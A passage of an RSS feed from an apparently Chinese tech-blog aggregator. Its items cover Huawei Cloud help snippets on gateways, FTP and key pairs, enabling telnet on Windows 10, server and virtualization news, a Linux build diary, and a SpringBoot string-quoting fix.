API提供默认的网关响应(default)，如果您需要自定义响应状态码或网关响应内容，可在API服务管理中新增网关响应，其中响应内容符合JSON格式即可。例如，“default”网关的响应内容为：您可以自定义为：JSON体的内容可以按需定制，包括增减字段内容。&#xA;NAT网关与其他服务关系如图1所示。&#xA;本章节指导用户通过调用API来创建DNAT规则。API的调用方法请参见如何调用API。前提条件已创建VPC和子网，具体参见创建云服务器所需要的VPC和子网。确认VPC下没有默认路由(“华北-北京四”区域无此限制)。创建规则时，要求网关状态status = &#34;ACTIVE&#34;，要求网关管理员状态admin_state_up = True。当您&#xA;Linux操作系统云服务器的安全组出方向已按照元数据获取的前提条件进行配置，但是无法通过169.254.169.254获取元数据。在配置了静态IP的Linux系统云服务器中执行以下命令：# ip route| grep 169.254如果169.254.169.254路由不存在，并且169.254.0.0/16路由存在。如图1所示，说明L&#xA;云存储网关(Cloud Storage Gateway，CSG)一种混合云存储服务，通过在用户本地服务器部署网关，使用标准存储协议(NFS协议)连接到公有云存储，实现用户本地存储数据与公有云存储数据的安全同步管理。通过云审计服务，您可以记录与CSG服务相关的操作事件，便于日后的查询、审计和回溯。&#xA;网关软件包安装包安装成功后，CSG支持卸载已安装网关软件。如果在安装阶段执行了安全加固命令“security_reinforce.sh”，将无法使用root帐号通过ssh登录服务器。若需继续卸载网关软件包，先使用csgmanager帐号通过ssh登录服务器，执行命令“su root”，通过密码认证切换到root用户，再进行卸载操作。若网关&#xA;APP认证方式调用API，需要提前获取如下信息：访问服务前，首先需要得到API的域名、请求url和请求方法。在API详情中的“调用信息 &amp;gt; 前端请求”中查看API的域名、请求url和请求方法。API基础定义在API详情中的“调用信息 &amp;gt; 前端请求”中查看API的域名、请求url和请求方法。您必须将API发布到环境才能访问。在API详情中的&#xA;使用云存储网关，用户可登录CSG管理控制台查看网关详细信息，包括网关基本信息、文件共享详细信息、网关升级、缓存盘监控等，用户可实时跟踪网关信息动态。已完成网关初始化，成功部署网关。目前一个云存储网关仅支持创建一个文件共享。&#xA;CSG服务需在用户本地安装网关，通过下载网关安装包，在本地客户端安装网关。本章节主要介绍了网关的安装指导。确保待部署网关服务器上有可以使用的YUM源。下载和配置YUM源，详情请参考YUM源配置。确保待部署网关服务器网络已配置就绪，包括客户端通过NFS共享写入网关网络、网关连接到OBS网络、网关配置管理网络、外接NAS存储网络(外接NAS作</description>
    </item>
    <item>
      <title>ftp服务器生成文件,ftp服务器自动生成文件</title>
      <link>https://bchobby.github.io/posts/20fa43e561a4538dfccef5e29de0b694/</link>
      <pubDate>Thu, 12 Aug 2021 15:39:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20fa43e561a4538dfccef5e29de0b694/</guid>
      <description>ftp服务器自动生成文件 内容精选&#xA;换一换&#xA;本节操作介绍如何在Windows操作系统的本地主机上使用FTP上传文件到云服务器。已在待上传文件的云服务器中搭建 FTP 服务。如果您的云服务器为 Windows 操作系统，具体操作请参考 搭建FTP 站点(Windows)。如果您的云服务器为 Linux 操作系统，具体操作请参考 搭建FTP 站点(Linux)。在Windows本地主机&#xA;为安全起见，裸金属服务器登录时建议使用密钥对方式进行身份验证。因此，您需要使用已有密钥对或创建一个密钥对，用于远程登录身份验证。创建密钥对如果没有可用的密钥对，需要创建一个密钥对，生成公钥和私钥，并在登录裸金属服务器时提供私钥进行鉴权。创建密钥对的方法如下：(推荐)通过管理控制台创建密钥对，公钥自动保存在系统中，私钥由用户保存在本地，具体&#xA;ftp服务器自动生成文件 相关内容&#xA;本章节指导用户下载私有证书，只有证书状态为已签发时，才可以下载。私有证书的状态为已签发。执行操作后，私有证书管理服务将使用浏览器自带的下载工具，将私有证书文件下载至本地指定的位置。根据申请私有证书时，选择的证书请求文件方式(系统生成文件和自己生成文件)的不同，下载文件也有所不同。系统生成文件申请私有证书时，如果证书请求文件选择的是系统生成&#xA;为安全起见，弹性云服务器登录时建议使用密钥方式进行身份验证。因此，您需要使用已有密钥对或新建一个密钥对，用于远程登录身份验证。新建密钥对如果没有可用的密钥对，需新建一个密钥对，生成公钥和私钥，并在登录弹性云服务器时提供私钥进行鉴权。创建密钥对的方法如下：(推荐)通过管理控制台创建密钥对，公钥自动保存在系统中，私钥由用户保存在本地，具体操作&#xA;ftp服务器自动生成文件 更多内容&#xA;对比以往的C6云服务器，盘符是vd*格式，譬如vda、vdb，新购的C6云服务器盘符变成的sd*格式。本节操作介绍盘符变成sd*格式的原因，以及常见的磁盘操作场景下的sd*格式盘符的处理方法，其他磁盘操作场景可参考本节示例方法。Linux系统的盘符是OS内部根据一定的规则自动生成的，这个规则与磁盘协议、磁盘序号等均有关系，因此存在一定的不&#xA;使用云存储网关，用户可登录CSG管理控制台查看网关详细信息，包括网关基本信息、文件共享详细信息、网关升级、缓存盘监控等，用户可实时跟踪网关信息动态。已完成网关初始化，成功部署网关。目前一个云存储网关仅支持创建一个文件共享。&#xA;请根据操作系统类型安装对应类型的虚拟机。由于SUSE 11 SP4、Ubuntu 16.04、Ubuntu 14.04、Debian 8.6、SUSE 12系列等操作系统在安装时有一些特殊配置，本章节着重介绍这几种操作系统的安装过程。由于镜像文件不同，安装步骤稍有不同，请根据实际的安装界面提示进行操作，并根据实际情况完成时区、KMS地址、&#xA;CDM支持周期性自动将新增文件上传到OBS，不需要写代码，也不需要用户频繁手动上传即可使用OBS的海量存储能力进行文件备份。这里以CDM周期性备份FTP的文件到OBS为例进行介绍。例如：FTP服务器的to_obs_test目录下有一个子目录another_dir和两个文件file1和file2，其中file2在another_dir目录下&#xA;CDM支持周期性自动将新增文件上传到OBS，不需要写代码，也不需要用户频繁手动上传即可使用OBS的海量存储能力进行文件备份。这里以CDM周期性备份FTP的文件到OBS为例进行介绍。例如：FTP服务器的to_obs_test目录下有一个子目录another_dir和两个文件file1和file2，其中file2在another_dir目录下&#xA;本手册以sample包中MNIST自带的mnist模型为例进行说明。若安装昇腾模型压缩工具的服务器能连接网络。在服务器sample/mnist/路径创建mnist_data目录，然后切换到该目录执行如下命令获取数据以及标签文件。wget http://yann.lecun.com/exdb/mnist/t10k-images-idx3-u&#xA;本手册以sample包中MNIST自带的mnist模型为例进行说明。若安装昇腾模型压缩工具的服务器能连接网络。在服务器sample/mnist/路径创建mnist_data目录，然后切换到该目录执行如下命令获取数据以及标签文件。wget http://yann.lecun.com/exdb/mnist/t10k-images-idx3-u&#xA;为加强对数据的容灾管理，云堡垒机支持手动备份和配置日志远程备份，提高审计数据安全性和系统可扩展性。通过手动导出/下载各功能模块数据文件保存在本地，可手动备份日志请参见表1。系统内导出的csv文件，用Excel打开可能会乱码。若出现乱码情况，请先修改文件编码格式再打开文件，详细说明请参考为什么打开CBH系统数据文件显示乱码？通过配置日志备份&#xA;本手册以sample包中MNIST自带的mnist模型为例进行说明。若安装昇腾模型压缩工具的服务器能连接网络。在服务器sample/mnist/路径创建mnist_data目录，然后切换到该目录执行如下命令获取数据以及标签文件。wget http://yann.lecun.com/exdb/mnist/t10k-images-idx3-u&#xA;本手册以sample包中MNIST自带的mnist模型为例进行说明。若安装昇腾模型压缩工具的服务器能连接网络。在服务器sample/mnist/路径创建mnist_data目录，然后切换到该目录执行如下命令获取数据以及标签文件。wget http://yann.lecun.com/exdb/mnist/t10k-images-idx3-u&#xA;本手册以sample包中MNIST自带的mnist模型为例进行说明。若安装昇腾模型压缩工具的服务器能连接网络。在服务器sample/mnist/路径创建mnist_data目录，然后切换到该目录执行如下命令获取数据以及标签文件。wget http://yann.lecun.com/exdb/mnist/t10k-images-idx3-u</description>
    </item>
    <item>
      <title>gartner 服务器虚拟化 市场份额 2013,Gartner：虚拟化负载已占服务器负载18%</title>
      <link>https://bchobby.github.io/posts/4f09936676c78dcf7035f9d316f6cbb6/</link>
      <pubDate>Thu, 12 Aug 2021 15:38:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f09936676c78dcf7035f9d316f6cbb6/</guid>
      <description>Gartner：虚拟化负载已占服务器负载18%&#xA;作者： 网界网&#xA;CNETNews.com.cn&#xA;2009-10-21 14:05:03&#xA;服务器的虚拟化进程到底有多快？根据Gartner的统计，今年已有18%的服务器负载是在虚拟化服务器上跑的；这一份额明年将升至28%，2012年将接近50%。&#xA;大型企业推动服务器虚拟化已有4年之久，而VMware的市场份额已达到89%，远远领先于微软、Citrix、Red Hat和其他竞争对手。Gartner分析师Thomas Bittman称，目前在用的虚拟机数量大约有580万台。&#xA;在中小企业中间，虚拟机的数量也在增长，在这一市场，微软抓住了一个很好的机会，扩大了自己的客户基础。到2012年，VMware的份额预计将会缩减至65%，但虚拟机的数量则会增长10倍，达到5800万台。Gartner认为，到2012年，微软的市场份额预计会达到27%，Citrix 6%，Red Hat 2%，其余厂商1%。&#xA;Bittman称，从物理服务器向虚拟化服务器的迁移还与云计算的演进密切相关，企业将会考虑私有云、公用云以及混合云等不同的策略。从现在开始，企业对内部虚拟化平台所做的选择也将会影响到其对云计算的选择。&#xA;Bittman称，虚拟化提供了动态配置、潜在的灾难恢复支持以及服务器整合等功能，在未来的几年内，虚拟化“将会成为企业的缺省配置”。</description>
    </item>
    <item>
      <title>将文件传到免费服务器上,将文件传到服务器上</title>
      <link>https://bchobby.github.io/posts/46853445599c09cc036fb1225af6c10d/</link>
      <pubDate>Thu, 12 Aug 2021 15:37:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46853445599c09cc036fb1225af6c10d/</guid>
      <description>将文件传到服务器上 内容精选&#xA;换一换&#xA;支持将华为云服务器上的音视频文件通过内网方式上传到与服务器在同一区域的视频点播服务中，但您需要先将服务器当前使用的DNS切换为华为云的内网DNS，具体请参见怎样切换内网DNS？。然后使用视频点播服务提供的批量上传工具，将华为云服务器上的音视频文件上传到视频点播服务中，具体请参见工具批量上传。&#xA;本文介绍如何在 Linux 系统的本地机器上使用 FTP 服务，将文件从本地上传到云服务器中。已在待上传文件的云服务器中搭建 FTP 服务。如果您的云服务器为 Windows 操作系统，具体操作请参考 搭建FTP 站点(Windows)。如果您的云服务器为 Linux 操作系统，具体操作请参考 搭建FTP 站点(Linux)。Linux操&#xA;将文件传到服务器上 相关内容&#xA;将文件上传至Windows云服务器一般会采用MSTSC远程桌面连接的方式。本节为您介绍本地Windows计算机通过远程桌面连接，上传文件至Windows云服务器的操作方法。Windows云服务器可以访问公网。在本地Windows计算机上，单击“开始”，在出现的“搜索程序和文件”输入框中输入mstsc。弹出远程桌面连接对话框。弹出远程桌面连&#xA;通常在将数据导入数据库前，即将入库的数据已经在相关主机上了。我们称这种保存着待入库数据的服务器为数据服务器。此时，只需检测以确认数据服务器和GaussDB(for openGauss)集群能够正常通信，并查看和记录数据在数据服务器上的存放目录备用。根据导入作业的相关负载，检查服务器上有充足的内存、句柄、磁盘空间等系统资源。如果待入库数据还&#xA;将文件传到服务器上 更多内容&#xA;将文件上传至Windows云服务器一般会采用MSTSC远程桌面连接的方式。本节为您介绍本地Windows计算机通过远程桌面连接，上传文件至Windows云服务器的操作方法。Windows云服务器可以访问公网。在本地Windows计算机上，单击“开始”，在出现的“搜索程序和文件”输入框中输入mstsc。弹出远程桌面连接对话框。弹出远程桌面连&#xA;本教程旨在演示使用GDS(General Data Service)工具将远端服务器上的数据导入GaussDB(DWS)中的办法，帮助您学习如何通过GDS进行数据导入的方法。在本教程中，您将：生成本教程需要使用的CSV格式的数据源文件。将数据源文件上传到数据服务器。创建外表，用于对接GDS和GaussDB(DWS)，及将数据服务器上的数据&#xA;CDM服务暂不支持该操作，建议通过手动导出MySQL的数据文件，然后在服务器上开启SFTP服务，然后新建CDM作业，源端是SFTP协议，目的端是OBS，将文件传过去。&#xA;通常在将数据导入数据库前，即将入库的数据已经在相关主机上了。我们称这种保存着待入库数据的服务器为数据服务器。此时，只需检测以确认数据服务器和GaussDB(DWS)集群能够正常通信，并查看和记录数据在数据服务器上的存放目录备用。如果待入库数据还没有就绪，则请先参考如下步骤，将数据上传到数据服务器上。GDS并行导入支持CSV、TEXT格式的&#xA;CDM服务暂不支持该操作，建议通过手动导出MySQL的数据文件，然后在服务器上开启SFTP服务，然后新建CDM作业，源端是SFTP协议，目的端是OBS，将文件传过去。&#xA;本教程旨在演示使用GDS(Gauss Data Service)工具将远端服务器上的数据导入GaussDB(for openGauss)中的办法，帮助您学习如何通过GDS进行数据导入的方法。在本教程中，您将：生成本教程需要使用的CSV格式的数据源文件。将数据源文件上传到数据服务器。创建外表，用于对接GDS和GaussDB(for open&#xA;安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续传，可能存在传输中断的情况，因此不建议上传大文&#xA;为了实现通过NAT Server可使用SSH协议跳转到SAP HANA节点的功能，以及SAP HANA节点和NAT Server互相通过SSH协议跳转的功能，需要配置云服务器之间的互信。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;为了实现通过NAT Server可使用SSH协议跳转到SAP HANA节点的功能，以及SAP HANA节点和NAT Server互相通过SSH协议跳转的功能，需要配置服务器之间的互信。在本地PC上，生成登录NAT Server的密钥文件。在创建NAT Server时，指定了NAT Server的证书密钥文件(.pem文件)。需要通过该密钥&#xA;为了实现通过Jump Host可使用SSH协议跳转到SAP系统节点的功能，以及SAP系统节点和Jump Host互相通过SSH协议跳转的功能，需要配置云服务器之间的互信。使用WinSCP软件，以root帐号和密钥文件登录Jump Host，将证书私钥文件(.pem文件)上传到Jump Host的/usr目录。登录Jump Host。将证书</description>
    </item>
    <item>
      <title>win10 telnet不是内部或外部命令（已解决）</title>
      <link>https://bchobby.github.io/posts/2f4469f0cb4572c29f5a239ed604f862/</link>
      <pubDate>Thu, 12 Aug 2021 15:22:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f4469f0cb4572c29f5a239ed604f862/</guid>
      <description>前言 Telnet用于远程操作互联网中的设备或终端计算机服务器&#xA;telnet在win10下默认是不开启的，所以需要我们自己手动开启。&#xA;步骤1 首先我们点击开始菜单，找到控制面板项【win+s】，点击进入；&#xA;步骤2 在控制面板中，我们选择程序–启动或关闭windows功能，然后勾选Telnet客户端选项，确定进行安装。&#xA;勾选【Telnet客户端】&#xA;更改windows设置需要一分钟左右的时间，不要关闭。安装完成后重启计算机生效。&#xA;windows功能的telnet功能已经开启，我们测试下是否可以正常使用，输入telnet+ip地址。&#xA;乞丐并不会妒忌百万富翁，但是他肯定会妒忌收入更高的乞丐。——罗素</description>
    </item>
    <item>
      <title>centos 7服务器安装软件配置文件,centos 7服务器安装软件配置</title>
      <link>https://bchobby.github.io/posts/439f5fd6faf5e50bf44e090254ca2f4b/</link>
      <pubDate>Thu, 12 Aug 2021 14:44:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/439f5fd6faf5e50bf44e090254ca2f4b/</guid>
      <description>centos 7服务器安装软件配置 内容精选&#xA;换一换&#xA;简要介绍sysget是一个通用软件包管理器，它兼容各种类Unix操作系统上的各种软件管理器的工具，只需使用sysget提供的简单语法，就可以在类Unix不同的发行版上快速管理软件包。语言：C++一句话描述：通用软件包管理器开源协议：GPL-3.0建议的版本建议使用版本为sysget-2.2。云服务器要求本文以云服务器KC1实例测试，云服务&#xA;Atlas 900 AI集群安装上架、服务器基础参数配置、安装操作系统等操作，请根据集群配置参见对应的手册：《Atlas 900 PoD 用户指南 (型号9000, 直流)》《Atlas 900 PoD 用户指南 (型号9000, 交流)》《Atlas 900 计算节点 用户指南 (液冷)》Atlas 900 AI集群适配操作系统如表1所&#xA;centos 7服务器安装软件配置 相关内容&#xA;Atlas 900 AI集群安装上架、服务器基础参数配置、安装操作系统等操作，请根据集群配置参见对应的手册：《Atlas 900 PoD 用户指南 (型号9000, 直流)》《Atlas 900 PoD 用户指南 (型号9000, 交流)》《Atlas 900 计算节点 用户指南 (风冷)》《Atlas 900 计算节点 用户指南 (液冷&#xA;Atlas 800 推理服务器(型号 3010)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 推理服务器 用户指南(型号 3010)》，安装操作系统完成后，配置业务网口IP地址，请参见配置网卡IP地址。Atlas 800 推理服务器(型号 3010)适配操作系统如表1所示。&#xA;centos 7服务器安装软件配置 更多内容&#xA;Atlas 800 推理服务器(型号 3000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 推理服务器 用户指南(型号 3000)》，安装操作系统完成后，配置业务网口IP地址，请参见配置网卡IP地址。Atlas 800 推理服务器(型号 3000)适配操作系统如表1所示。</description>
    </item>
    <item>
      <title>ibm服务器 性能测试,IBM创x86服务器TPC-C基准性能测试新高</title>
      <link>https://bchobby.github.io/posts/eb3b940128e1dbe8226356013403134f/</link>
      <pubDate>Thu, 12 Aug 2021 14:34:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb3b940128e1dbe8226356013403134f/</guid>
      <description>日前，IBM宣布其x86系统在TPC-C基准性能测试中再创新高，获得有史以来的最高成绩。&#xA;IBM利用单机架、非集群的System x服务器，运行DB2数据库，得到每分钟事务处理量超过300万次的成绩，打破了8个月前由相同的IBM x86系统创下的业界纪录，与同级别惠普的x86系统相比，性能提升了66%。&#xA;IBM系统与科技部System x &amp;amp; BladeCenter全球副总裁Alex Yost表示：“通过在x86技术领域的大规模投资，IBM在创新、可扩展性和性能等方面不断实现突破。这一切都是为了客户，为了提供给客户具有更加出色的可扩展性、成本效益和节能效果的x86解决方案，以帮助客户在其市场中脱颖而出！”&#xA;IBM此次取得的成绩表明，利用IBM独创的第五代企业级X-架构(Enterprise X-Architecture)、DB2 9.7、System x的IBM MAX5(性能优化中心)内存扩展技术，与运行SUSE Linux Enterprise Server 11(SP1)系统的最新型英特尔至强E7(Intel Xeon E7)处理器相结合，服务器的性能达到了前所未有的领先水平。System x上采用的IBM MAX5是一项业界首创技术，它能将内存从处理器中解放出来，使单一服务器的内存容量增加50%，这不仅提高了系统效率，而且增加了系统每分钟的事务处理量。&#xA;IBM System x3850 X5服务器以0.59美元/tpmC的运行成本创造了3,014,684次的每分钟事务处理量的(tpmC)新纪录，在所有非集群系统的TPC-C性能前十名排行榜中位居第五。基准测试模拟了批发供应商订单录入环境下的各种事务，包括输入和交付订单、记录付款、检查订单状态及监测仓库库存水平等。目前的测试结果表明，部署IBM技术的客户能够输入更多订单，而监测、配送和交付也更为迅速。&#xA;开创了新纪录的IBM x3850 X5系统采用了节省空间的单一42U机架，配置4个英特尔至强E7-8870处理器，每个处理器的运行频率为2.40GHz，L3共享缓存为30MB(4处理器/40核/80线程)，其内存共计3TB(2TB用于服务器，1TB用于System x的IBM MAX5)。该系统还配置了带有eXFlash(极速存储套件)的企业多级单元固态硬盘(SSD)存储器，以加快数据库访问速度。与传统磁盘驱动器相比，IBM eXFlash驱动器最高可将性能提升20倍。&#xA;(责任编辑：胡新月 )</description>
    </item>
    <item>
      <title>苹果系统 12无服务器,苹果IOS12.1.2再出问题，全球多款iPhone出现无服务</title>
      <link>https://bchobby.github.io/posts/ad907b527e0a64784f14008e89a92ee8/</link>
      <pubDate>Thu, 12 Aug 2021 14:27:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad907b527e0a64784f14008e89a92ee8/</guid>
      <description>原标题：苹果IOS12.1.2再出问题，全球多款iPhone出现无服务&#xA;你可能还记得，两周前在苹果推出iOS 12.1.1更新之后，很多iphone用户抱怨失去了与他们的无线运营商的蜂窝数据连接。上周当苹果发布iOS 12.1.2时，更新中包含了一个修复程序一个可能影响土耳其iPhoneXR, iPhoneXS和iPhoneXS MAX用户无法连接蜂窝数据的故障。&#xA;现在根据福布斯得消息称刚刚发布的iOS 12.1.2系统又给多个国家的不同型号iPhone的用户带来了新的连接问题。迈阿密的一个推特用户在使用手柄@kev刷子推特上说，在安装了IOS 12.1.2之后，他没能通过蜂窝数据连接网络，在尝试重新设置网络设置并重新设置电话之后，还是没有结果，试图重新插入他的SIM卡但也失败了，机仍然无法接收手机数据。爱尔兰的iPhone用户在更新她之后iPhone 7对于最新的iOS版本，她的手机上写着“没有服务”，她无法连接到当地运营商网络。&#xA;像这样的报告来自全球各地，正如我们所提到的，它们并不局限于2018年的型号。从我们看到的推特上可以看出，美国的iPhone用户可能会受到更严重的影响。当然，具有讽刺意味的是，苹果匆忙推出iOS 12.1.2的部分原因是为了解决土耳其类似的连接问题。&#xA;因此，如果你拥有一款在安装了iOS 12.1.2之后就无法再连接到移动数据的iPhone手机，那么本周苹果可能会快速推出IOS12.1.3版本，到时候再更新应该可以解决问题，不过考虑到接下来是圣诞节，时间也有可能延迟，大家要耐心等待。返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>方正圆明服务器型号,结论与推荐</title>
      <link>https://bchobby.github.io/posts/738e0179a7f49384d21ea0380b204c6f/</link>
      <pubDate>Thu, 12 Aug 2021 14:07:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/738e0179a7f49384d21ea0380b204c6f/</guid>
      <description>结论与推荐&#xA;测试总结与观点&#xA;经过一段时间的测试，做为一款部门级塔式服务器，方正园明MT100出色的扩展性能成为该款服务器的优势在，该款服务器可以提供6个SATA2.0接口并且支持RAID0,1,5模式。除此之外，该款服务器还带有SAS RAID控制卡，8个内部SAS/SATA端口，最高可以支持32块硬盘，2TB的存储容量。丰富的磁盘阵列模式RAID0、1、5、6、10、50及60，为企业及教育行业使用数据库系统的用户提供了可靠的保障。作为一款部门级产品，我们建议大家在采购服务器时应至少搭配500GB容量的磁盘空间，这样可以满足用户初始阶段的需求。&#xA;在扩展性方面的优势我们在上面已经详细提到了，在此不再做过多叙述，我们ZOL评测室认为这款方正圆明MT100服务器在在免工具拆卸及冗余设计方面都有可以提升的空间。典型应用：&#xA;我们建议这款方正圆明MT100适合作为邮件、小型数据库、WEB服务器使用。例如几十人规模的财务部门使用的财务系统，就可以使用方正圆明MT100服务器，因为该部门对于远程管理的需求不高，而方正园明MT100服务器支持双路、双核处理器，在性能方面要比传统单路至强性能高出50%，内存最高可以达到4GB；同时MT100扩充特性较好，内部存储空间大，可以有效地扩充内存、硬盘等配件，在日后的使用过程中通过添加配件来满足用户不断发展的需求。除此之外，我们建议大家在硬盘扩充方面使用SATA接口的硬盘，因为SATA接口的硬盘容量相对SCSI硬盘要高，在价格方面SATA硬盘也比较便宜，进一步保护用户的投资成本。&#xA;型号&#xA;希捷7200.10&#xA;希捷/10K/80针(ST3300007LC)&#xA;容量&#xA;500GB&#xA;300GB&#xA;价格(1块)&#xA;2400&#xA;4600&#xA;未来展望：&#xA;“Woodcrest”作为Intel新一代双核至强处理器在无论在性能，还是在功耗方面都有着相当不错的优势，但它的产品定位以及价格从现阶段来看并不适用于中、小型企业用户，从目前阶段来看“Dempsey”的最大竞争对手也就是双核皓龙处理器，单颗皓龙265处理器的报价为2750元，在价格和性能方面仍然具有性价比。但随着“Dempsey”处理器的定位改变，在价格上会给竞争对手一定冲击，届时而同为Bensley平台的“Dempsey”处理器虽然在功耗方面较高，但在价格和性能方面，相对“Woodcrest”和同级别皓龙处理器来看要更实惠一些，很适合中、小型企业用户的采购需要。</description>
    </item>
    <item>
      <title>服务器日志egl文件,【图片】Liddy&#39;s Linux编译日志（版本8.4）【蕾迪猫的linux吧】_百度贴吧...</title>
      <link>https://bchobby.github.io/posts/ea9f6019adbb754844e7c185bbd41535/</link>
      <pubDate>Thu, 12 Aug 2021 12:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea9f6019adbb754844e7c185bbd41535/</guid>
      <description>该楼层疑似违规已被系统折叠 隐藏此楼查看此楼&#xA;2019年04月19日&#xA;早安，现在是17时12分...昨日照看家人的时候因为带了笔记本电脑，故此顺带着将新的LMMS与Mesa编译完毕...不过这之间也出现了不少插曲。首先是编译Liddy&#39;s Linux所用的移动硬盘的问题，因为前次使用这台老旧电脑编译LLVM时造成了死机并且硬盘狂转，并且手动强制重启了电脑，造成了移动硬盘Ext4系统不再纯净...有了坏块，chroot环境之下看不出什么，但一旦重启到正在编译的Liddy&#39;s Linux，内核将会不断重复提示坏块与数据丢失...结果使用了主系统GParted中的修复功能修复了两次方罢。然后是每次启动Liddy&#39;s Linux发现的问题，每次移动硬盘启动之时被识别的盘号不定，有时是/dev/sda，有时是/dev/sdb，每次启动之时都得要至少(虽说也是至多)一次在GRUB启动界面当中更改盘号方能够启动...若是最终交给诸位画使的话，将会非常不方便...故此直接将盘号更改为了UUID(root=UUID=(移动硬盘的UUID号))，这样的话一是启动方便，二是日后画使们进行安装设置的时候也容易，直接拷贝新硬盘分区的UUID号即可...不过/etc/fstab...亦更改为UUID号即可。总之，今日开始开工，目标是能够顺利启动X Window Server，并且开始编译Qt...啊，对了，还有昨日记下的编译Mesa之时遇到的事情...&#xA;“编译中遇到错误，因为处于纯文本模式，无法显示中文，故此无法确认错误信息...看起来是显卡驱动当中swr的问题，只得在configure当中将swr去掉...可恶。若是日后有显卡无法支持Liddy&#39;s Linux，翻回此处重新检查编译一番...或许应当翻回头来再次编译一番Mesa-18.3.3？不妨一试...因为版本18.3.3才最适配于Liddy&#39;s Linux...不行，错误与昨日的依旧相同，看来只得忍痛将swr的支持去掉再编译一遍了，喵哎...编译顺利完毕，那样的话根据BLFS的指引重新安装一遍libva-2.4.0。”&#xA;...总之就是这样。那样，开始今日的工作...很抱歉现在才开始工作，因为所剩的时间已然不多...不过幸运的是余下的X Window Server所需且必须的程式包已然不多，并且前期安装数量种类繁多的程式包之时，已经提前解决好了日后安装大多数程式包时的程式包依赖问题，故此编译X Window Server剩下的时间应该不多。&#xA;/usr/share/fonts是存放字体的位置...记得/etc当中应该有一个配置文件存放着字体的位置的配置，日后需要重新设定一下...以前编译BLFS的时候发现了一个问题，将字体全部存放于/usr/share/fonts的话，默认是无法设置使用哪个字体作为默认字体...所以需要另外建立一个文件夹，例如/usr/share/fontshana，只存放系统默认使用的字体，然后在这个配置文件当中将/usr/share/fontshana放置于第一位即可...日后还要翻回头来重新设置一下。&#xA;安装了BLFS提供的acpid-2.0.31的启动脚本，应该是与电源(按钮)有关系...还有X Window Server。&#xA;【注意】编译Wireless Tools-29与pm-utils-1.4.1时没有检查内核依赖关系，若是日后无法使用无线的话，或是电脑无法使用休眠，唤醒，挂起功能的话，需要翻回头来检查内核依赖关系。【注意完毕】&#xA;【注意】编译Xorg Drivers之时没有检查内核依赖关系...若是日后发生有硬件不兼容的问题，需要翻回头来检查内核依赖关系。【注意完毕】&#xA;——确认Xorg Drivers之时发觉必须需要编译FFmpeg-4.1.1，但FFmpeg-4.1.1有不少程式包无法满足...没办法，只得明日继续编译了。此外...看起来要编译Qt还需要等到明日来着喵哎...因为要满足依赖的话，还需要编译不少程式包，不是基本程式包，而大多数是多媒体相关的程式包，其中也有日后会编译的iBus输入法，另外还有GTK等等等等...&#xA;那样，今日暂且编译至此，待明日早些醒来继续编译之...看起来明日要忙活10小时以上了，大概。&#xA;今日及昨日所编译的程式包列表如下：&#xA;LLVM-7.0.1 再安装&#xA;Mesa-19.0.1&#xA;xbitmaps-1.1.2&#xA;iceauth-1.0.8&#xA;luit-1.1.1&#xA;mkfontdir-1.0.7&#xA;mkfontscale-1.1.3&#xA;sessreg-1.1.1&#xA;setxkbmap-1.3.1&#xA;smproxy-1.0.6&#xA;x11perf-1.6.0&#xA;xauth-1.0.10&#xA;xbacklight-1.2.2&#xA;xcmsdb-1.0.5&#xA;xcursorgen-1.0.7&#xA;xdpyinfo-1.3.2&#xA;xdriinfo-1.0.6&#xA;xev-1.2.2&#xA;xgamma-1.0.6&#xA;xhost-1.0.7&#xA;xinput-1.6.2&#xA;xkbcomp-1.4.2&#xA;xkbevd-1.1.4&#xA;xkbutils-1.0.4&#xA;xkill-1.0.5&#xA;xlsatoms-1.1.2&#xA;xlsclients-1.1.4&#xA;xmessage-1.0.5&#xA;xmodmap-1.0.9&#xA;xpr-1.0.5&#xA;xprop-1.2.3&#xA;xrandr-1.5.0&#xA;xrdb-1.1.1&#xA;xrefresh-1.0.6&#xA;xset-1.2.4&#xA;xsetroot-1.1.2&#xA;xvinfo-1.1.3&#xA;xwd-1.0.7&#xA;xwininfo-1.1.4</description>
    </item>
    <item>
      <title>SpringBoot 返回String的时候，多了双引号的问题解决</title>
      <link>https://bchobby.github.io/posts/a249a9aafe91d955f56bf04a2467245f/</link>
      <pubDate>Thu, 12 Aug 2021 11:33:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a249a9aafe91d955f56bf04a2467245f/</guid>
      <description>SpringBoot 返回String的时候，多了双引号的问题解决 做项目的时候碰到的问题，就是我的接口要求返回一个String类型的数据，但出现了双引号包含的情况。 /** * xxxxx */ @PostMapping(value = &#34;/querySoIds&#34;) @ApiOperation(value = &#34;xxxxx&#34;, notes = &#34;xxxxx&#34;, response = SysOrg.class) public String querySoIds(@RequestParam String soId,@RequestParam String supType) throws Exception { return sysOrgService.querySoIds(soId,supType); } 下面是我接口返回的数据&#xA;上面不是我想要的数据，猜测是因为返回数据的类型以及编码有问题于是插入了text/plain;charset=utf-8&#xA;/** * xxxxx */ @PostMapping(value = &#34;/querySoIds&#34;,produces = &#34;text/plain;charset=utf-8&#34;) @ApiOperation(value = &#34;xxxxx&#34;, notes = &#34;xxxxx&#34;, response = SysOrg.class) public String querySoIds(@RequestParam String soId,@RequestParam String supType) throws Exception { return sysOrgService.querySoIds(soId,supType); } 下面是加上去的结果&#xA;最后我在我另外一个demo项目也做了相同的操作不加produces = &#34;text/plain;charset=utf-8得出的数据并不会加双引号，不知道为什么？有知道的大神记得留言</description>
    </item>
    <item>
